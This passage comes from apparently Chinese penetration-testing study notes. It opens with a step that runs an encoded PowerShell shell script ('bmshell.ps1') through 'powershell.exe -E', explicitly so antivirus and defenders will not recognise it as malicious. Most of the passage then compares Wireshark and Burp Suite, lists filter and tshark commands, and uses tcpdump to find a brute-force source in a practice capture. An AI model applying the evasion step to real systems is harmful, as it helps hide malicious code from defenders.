&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 编码以后就是全是乱码，所以在杀毒软件，或者说防守方看起来就不像是这个恶意的一个脚本文件。&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;powershell.exe -E &lt;span class="o"&gt;(&lt;/span&gt;bmshell.ps1用notepad打开复制编码）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 执行成功&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250514223436591" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/8700eb7f9fdd858e2eaf76d3f6cfde33.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250514224018263" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/067f8110996ffbcfe3d157e937783c29.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="绕的不多" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/c553247687fe8d69d521b9b5a559c2f9.png"&gt;&lt;/p&gt;
&lt;h2 id="wireshark"&gt;Wireshark
&lt;/h2&gt;&lt;p&gt;Wireshark 和 Burp Suite 是两款广泛用于网络分析和安全测试的工具，但它们在功能、使用场景和目标用户上有显著区别。以下是两者的主要区别：&lt;/p&gt;
&lt;h3 id="1-核心功能"&gt;&lt;strong&gt;1. 核心功能&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Wireshark&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;网络协议分析工具&lt;/strong&gt;：主要用于捕获和分析网络流量（所有经过网卡的数据包）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;被动监听&lt;/strong&gt;：监控网络流量，不能直接修改数据包。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;协议解析&lt;/strong&gt;：支持数千种协议（如 TCP/IP、HTTP、DNS、ARP 等），提供详细的协议层级解析。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;：网络故障排查、性能分析、协议学习、安全取证（如抓取恶意流量）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Burp Suite&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Web 安全测试工具&lt;/strong&gt;：专注于 Web 应用程序的渗透测试和漏洞挖掘。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;主动拦截与修改&lt;/strong&gt;：作为代理服务器拦截、修改和重放 HTTP/HTTPS 请求。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;模块化功能&lt;/strong&gt;：包含 Scanner（漏洞扫描）、Intruder（暴力破解）、Repeater（请求重放）、Proxy（流量拦截）等模块。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;：测试 SQL 注入、XSS、CSRF 等 Web 漏洞，模拟攻击行为。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-使用场景"&gt;&lt;strong&gt;2. 使用场景&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Wireshark&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;分析网络层（如 TCP 连接问题）或传输层（如丢包、延迟）问题。&lt;/li&gt;
&lt;li&gt;监控所有网络流量（包括非 HTTP 协议，如 DNS、ICMP、VoIP）。&lt;/li&gt;
&lt;li&gt;解密 SSL/TLS 流量（需配置私钥）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Burp Suite&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;测试 Web 应用程序的安全性（如 API、网站前后端）。&lt;/li&gt;
&lt;li&gt;修改 HTTP 请求参数（如 Cookie、Header）以验证漏洞。&lt;/li&gt;
&lt;li&gt;自动化扫描 Web 应用的常见漏洞（如 OWASP Top 10）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3-协议支持"&gt;&lt;strong&gt;3. 协议支持&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Wireshark&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;支持几乎所有网络协议（从底层以太网到应用层协议）。&lt;/li&gt;
&lt;li&gt;适用于分析非 Web 流量（如 FTP、SSH、SMTP）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Burp Suite&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;主要针对 HTTP/HTTPS 协议，部分功能支持 WebSocket。&lt;/li&gt;
&lt;li&gt;无法直接分析非 HTTP 流量（如 ICMP、TCP 握手过程）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="4-操作方式"&gt;&lt;strong&gt;4. 操作方式&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Wireshark&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;需要选择网卡或导入抓包文件（&lt;code&gt;.pcap&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;通过过滤器（如 &lt;code&gt;http.request.method == &amp;quot;GET&amp;quot;&lt;/code&gt;）筛选流量。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Burp Suite&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;需要配置浏览器代理（如 &lt;code&gt;127.0.0.1:8080&lt;/code&gt;）以拦截流量。&lt;/li&gt;
&lt;li&gt;通过模块化工具链（如 Proxy → Repeater → Intruder）进行测试。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="5-用户角色"&gt;&lt;strong&gt;5. 用户角色&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Wireshark&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;网络管理员、运维工程师、协议开发人员。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Burp Suite&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;安全工程师、渗透测试人员、Web 开发人员。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="6-典型应用示例"&gt;&lt;strong&gt;6. 典型应用示例&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Wireshark&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;分析为什么某个设备无法连接到服务器（检查 TCP 三次握手是否完成）。&lt;/li&gt;
&lt;li&gt;捕获 DNS 查询失败的根本原因。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Burp Suite&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;修改登录请求中的密码参数，测试是否存在 SQL 注入漏洞。&lt;/li&gt;
&lt;li&gt;使用 Intruder 模块暴力破解弱密码。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="总结"&gt;&lt;strong&gt;总结&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;对比项&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;Wireshark&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;Burp Suite&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;定位&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;网络流量分析工具&lt;/td&gt;
 &lt;td style="text-align: center"&gt;Web 应用安全测试工具&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;协议支持&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;所有网络协议&lt;/td&gt;
 &lt;td style="text-align: center"&gt;主要 HTTP/HTTPS&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;操作方式&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;被动监听、解析流量&lt;/td&gt;
 &lt;td style="text-align: center"&gt;主动拦截、修改和重放请求&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;核心用户&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;网络工程师、运维人员&lt;/td&gt;
 &lt;td style="text-align: center"&gt;安全工程师、Web 开发者&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;典型场景&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;排查网络故障、学习协议&lt;/td&gt;
 &lt;td style="text-align: center"&gt;挖掘 Web 漏洞、模拟攻击&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="协同使用"&gt;&lt;strong&gt;协同使用&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;在实际工作中，两者可以互补：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;用 Wireshark 抓取底层网络问题（如 TCP 连接失败）。&lt;/li&gt;
&lt;li&gt;用 Burp Suite 深入测试 Web 应用逻辑漏洞（如越权访问）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="实操"&gt;实操
&lt;/h3&gt;&lt;p&gt;使用root账号运行wireshark存在风险&lt;/p&gt;
&lt;p&gt;抓包能力通过/usr/bin/dumpcap实现，默认只有root，wireshark组成员抓包&lt;/p&gt;
&lt;p&gt;.允许普通用户在所有网卡抓包&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo usermod -aG wireshark &lt;span class="nv"&gt;$USER&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250515094745150" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/fb801d1d197161beff8f860820172a8f.png"&gt;&lt;/p&gt;
&lt;p&gt;指定ip地址，或者直接选择网卡查看实时流量&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250515094923962" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/cf31a5b8da50d750f8fe5cc95cef08eb.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250515095133424" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/fdf3e12ac6b41f3cb43898fff0144890.png"&gt;&lt;/p&gt;
&lt;p&gt;用筛选器做流量筛选&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ip.addr==172.168.169.128
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250515095324643" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/cdce1760f7450b23f46616a287afb766.png"&gt;&lt;/p&gt;
&lt;h3 id="一wireshark-图形界面常用过滤语法"&gt;&lt;strong&gt;一、Wireshark 图形界面常用过滤语法&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;在 Wireshark 的过滤栏中，可以通过协议、字段、逻辑运算符等快速筛选数据包。以下是一些常用过滤命令：&lt;/p&gt;
&lt;h4 id="1-基础过滤"&gt;&lt;strong&gt;1. 基础过滤&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;按协议过滤&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;tcp # 显示所有 TCP 流量
udp # 显示所有 UDP 流量
http # 显示 HTTP 流量
dns # 显示 DNS 查询/响应
icmp # 显示 ICMP 流量（如 ping）
ssl # 显示 SSL/TLS 流量
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;按 IP 地址过滤&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ip.addr == 192.168.1.100 # 显示与指定 IP 相关的流量（源或目标）
ip.src == 192.168.1.100 # 显示源 IP 为 192.168.1.100 的流量
ip.dst == 10.0.0.1 # 显示目标 IP 为 10.0.0.1 的流量
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250515100106331" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/b5ba0e973f49abca66d06bab71a6ffae.png"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;按端口过滤&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;tcp.port == 80 # 显示 TCP 端口为 80 的流量（HTTP）
udp.port == 53 # 显示 UDP 端口为 53 的流量（DNS）
tcp.dstport == 443 # 显示目标 TCP 端口为 443 的流量（HTTPS）
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="2-高级过滤"&gt;&lt;strong&gt;2. 高级过滤&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;组合逻辑运算符&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http &amp;amp;&amp;amp; ip.src == 192.168.1.100 # 显示指定 IP 的 HTTP 流量
tcp.port == 80 || tcp.port == 443 # 显示 HTTP 或 HTTPS 流量
!arp # 排除所有 ARP 流量
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;按内容过滤&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http.request.uri contains &amp;#34;login&amp;#34; # 显示 URL 包含 &amp;#34;login&amp;#34; 的 HTTP 请求
tcp.payload contains &amp;#34;password&amp;#34; # 显示 TCP 载荷中包含 &amp;#34;password&amp;#34; 的数据包
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;按协议字段过滤&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http.response.code == 404 # 显示所有 HTTP 404 响应
tcp.flags.syn == 1 # 显示 TCP SYN 标志位为 1 的数据包（握手）
dns.qry.type == A # 显示 DNS A 记录查询
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="3-流量分析"&gt;&lt;strong&gt;3. 流量分析&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;统计特定流量&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;tcp.analysis.retransmission # 显示 TCP 重传的数据包
tcp.analysis.duplicate_ack # 显示重复确认包
tcp.analysis.zero_window # 显示 TCP 零窗口（流量控制问题）
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;时间范围过滤&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;frame.time &amp;gt;= &amp;#34;2023-10-01 12:00:00&amp;#34; &amp;amp;&amp;amp; frame.time &amp;lt;= &amp;#34;2023-10-01 13:00:00&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="二命令行工具"&gt;&lt;strong&gt;二、命令行工具 &lt;code&gt;tshark&lt;/code&gt; 的实用命令&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;&lt;code&gt;tshark&lt;/code&gt; 是 Wireshark 的命令行版本，适用于服务器环境或自动化脚本。&lt;/p&gt;
&lt;h4 id="1-基本捕获"&gt;&lt;strong&gt;1. 基本捕获&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;tshark -i eth0 # 捕获 eth0 网卡的流量
tshark -i any # 捕获所有网卡的流量
tshark -w output.pcap # 将捕获的流量保存到文件
tshark -r input.pcap # 读取并分析已有的抓包文件
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250515100004665" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/1bd7de97a4e1d75e14725a541c8cacc5.png"&gt;&lt;/p&gt;
&lt;h4 id="2-过滤捕获"&gt;&lt;strong&gt;2. 过滤捕获&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;tshark -i eth0 -f &amp;#34;tcp port 80&amp;#34; # 捕获 TCP 80 端口的流量（BPF 语法）
tshark -i eth0 -Y &amp;#34;http&amp;#34; # 捕获并实时显示 HTTP 流量（显示过滤）
tshark -r input.pcap -Y &amp;#34;ip.addr==192.168.1.100&amp;#34; # 从文件过滤指定 IP
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250515100234235" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/e001ac49f2959e6150ee316932fcc38a.png"&gt;&lt;/p&gt;
&lt;h4 id="3-输出格式"&gt;&lt;strong&gt;3. 输出格式&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;tshark -r input.pcap -T fields -e ip.src -e http.request.uri # 提取指定字段
tshark -r input.pcap -V # 显示详细协议解析
tshark -r input.pcap -qz &amp;#34;io,phs&amp;#34; # 统计流量协议分布
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="4-高级功能"&gt;&lt;strong&gt;4. 高级功能&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;提取 HTTP 请求&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;tshark -r input.pcap -Y &amp;#34;http.request&amp;#34; -T json &amp;gt; http_requests.json
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;统计 TCP 会话&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;tshark -r input.pcap -qz conv,tcp # 列出所有 TCP 会话（源/目标 IP 和端口）
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;解密 HTTPS 流量&lt;/strong&gt;（需私钥）：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;tshark -r encrypted.pcap -o &amp;#34;tls.keylog_file:sslkeylog.log&amp;#34; -Y &amp;#34;http&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="三其他实用技巧"&gt;&lt;strong&gt;三、其他实用技巧&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;保存过滤器&lt;/strong&gt;：
在 Wireshark 中右键点击过滤栏 → &amp;ldquo;Save Filter&amp;rdquo; 可保存常用过滤条件。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;导出特定数据&lt;/strong&gt;：&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;导出 HTTP 文件：&lt;code&gt;File → Export Objects → HTTP&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;导出特定数据包：右键数据包 → &amp;ldquo;Export Packet Bytes&amp;rdquo;。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="3"&gt;
&lt;li&gt;&lt;strong&gt;着色规则&lt;/strong&gt;：
通过 &lt;code&gt;View → Coloring Rules&lt;/code&gt; 自定义颜色标记特定流量（如高亮错误码 500）。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="总结-1"&gt;&lt;strong&gt;总结&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;场景&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;命令/语法示例&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;抓取 HTTP 流量&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;tshark -i eth0 -Y &amp;quot;http&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;分析指定 IP 的 DNS 查询&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;dns &amp;amp;&amp;amp; ip.src==192.168.1.100&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;查找 TCP 重传&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;tcp.analysis.retransmission&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;提取 URL 中的关键字&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;http.request.uri contains &amp;quot;admin&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;通过灵活组合过滤语法和命令行工具，可以快速定位网络问题或分析安全事件。&lt;/p&gt;
&lt;h2 id="tcpdump"&gt;Tcpdump
&lt;/h2&gt;&lt;p&gt;&lt;em&gt;T&lt;/em&gt;cpdump 106是基于文本的网络嗅探器，尽管缺少图形界面，但仍具有简化，强大和灵活的特点。它是迄今为止最常用的命令行数据包分析器，可以在大多数Unix和Linux操作系统上找到，但是本地用户权限决定了捕获网络流量的能力。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 下载官网练习包&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;wget wget https://www.offensive-security.com/pwk-online/password_cracking_filtered.pcap
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 用tcpdump读取流量包&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;sudo tcpdump -r password_cracking_filtered.pcap 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250515101109652" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/555bc4b2b50d7817ec8c5746d6feeaf9.png"&gt;&lt;/p&gt;
&lt;p&gt;读取是全部显示的，我们可以用一些脚本来做过滤。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo tcpdump -n -r password_cracking_filtered.pcap &lt;span class="p"&gt;|&lt;/span&gt; awk -F&lt;span class="s2"&gt;&amp;#34; &amp;#34;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;{print $3}&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sort &lt;span class="p"&gt;|&lt;/span&gt; uniq -c &lt;span class="p"&gt;|&lt;/span&gt; head
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;sudo tcpdump -n -r password_cracking_filtered.pcap &lt;span class="p"&gt;|&lt;/span&gt; awk -F&lt;span class="s2"&gt;&amp;#34; &amp;#34;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;{print $5}&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sort &lt;span class="p"&gt;|&lt;/span&gt; uniq -c &lt;span class="p"&gt;|&lt;/span&gt; head
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;sudo tcpdump -n -r password_cracking_filtered.pcap &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="c1"&gt;# 读取抓包文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;awk -F&lt;span class="s2"&gt;&amp;#34; &amp;#34;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;{print $3}&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="c1"&gt;# 提取第三列字段&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;sort &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="c1"&gt;# 排序&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;uniq -c &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="c1"&gt;# 统计唯一值出现次数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;head &lt;span class="c1"&gt;# 显示前10行结果&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250515101722100" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/12514d089f9cd6d2437045ac7fc9299f.png"&gt;&lt;/p&gt;
&lt;p&gt;也可以用tshark来做这个功能&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;tshark -r password_cracking_filtered.pcap -T fields -e ip.dst | sort | uniq -c | sort -nr | head
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250515102808560" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/b4756f8c9a0e6a6181e90fc5a29a39a6.png"&gt;&lt;/p&gt;
&lt;p&gt;可以发现&lt;code&gt;172.16.40.10&lt;/code&gt;这个ip请求量尤其多，推测是有爆破攻击行为。所以进一步排查。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo tcpdump -n src host 172.16.40.10 -r password_cracking_filtered.pcap
sudo tcpdump -n dst host 172.16.40.10 -r password_cracking_filtered.pcap
sudo tcpdump -n port 81 -r password_cracking_filtered.pcap
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250515102053816" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/de0e81c63b8a55aac29b46af07f3aa0c.png"&gt;&lt;/p&gt;
